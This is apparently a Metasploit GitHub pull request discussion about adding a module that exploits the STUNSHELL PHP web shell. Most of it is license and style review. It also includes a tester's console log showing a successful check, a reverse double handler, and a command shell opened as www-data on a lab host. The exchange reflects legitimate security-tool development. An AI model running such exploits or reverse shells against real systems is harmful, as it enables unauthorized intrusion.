Added STUNSHELL webshell remote command execution module

[ghost]

This module exploits the commonly unauthenticated STUNSHELL web shell with remote command execution.
More details here: https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL

[L1ghtn1ng]

Hi thank you for your contribution, However you are missing the license information and can you run your module past msftidy thank you. The license information can be found in another module which is at the very top thank you. Also you needed to do the same to this PR #1646 to thank you

[ghost]

Will do.

[L1ghtn1ng]

also you need to do it to #1644

[ghost]

I just did it to all 4 of my pull requests, anything else? Its my first time contributing.

[L1ghtn1ng]

okay thanks for the changes so far, I cannot see any but when someone from rapid7 takes a look you probably will but the changes I got you to make helps speed up the process to get your code merged. By the way just wondering did you use an example of a module to created yours? as im wondering where people are using other modules to base theirs from as the license information missing in modules is a bit of a problem

[ghost]

I used existing misc modules as templates, but removed the licensing information, I was not sure if it should be applied before it was added to the actual metasploit project.

[L1ghtn1ng]

ah okay thanks for that

[jvazquez-r7]

The cleanup applied to #1645 must be had into account here in order to merge it. Feel free to ask if there are questions or doubts in your side :)

[ghost]

I think I applied all the fixes to this one.

[jvazquez-r7]

Thanks @Bwall

Merge after last cleanup, check it at: https://github.com/rapid7/metasploit-framework/tree/9b18eb858b4d373265a4b5403472e4301164f1a3

Test after cleanup:

msf exploit(stunshell_exec) > reload
[*] Reloading module...
checkmsf exploit(stunshell_exec) > check
[+] The target is vulnerable.
msf exploit(stunshell_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uC0sZLFLfLPSIE1S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "uC0sZLFLfLPSIE1S\r\n"
i[*] Matching...
[*] B is input...
d[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.134:43153) at 2013-03-28 14:41:11 +0100


uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C

[jvazquez-r7]

btw, just pointing, I checked news for this really deployed in the wild by malware attacks:

http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3APHP%2FStunshell.A
http://www.claudiokuenzler.com/blog/127/processes-launched-by-apache-stunshell-oscommerce

Thanks @Bwall !!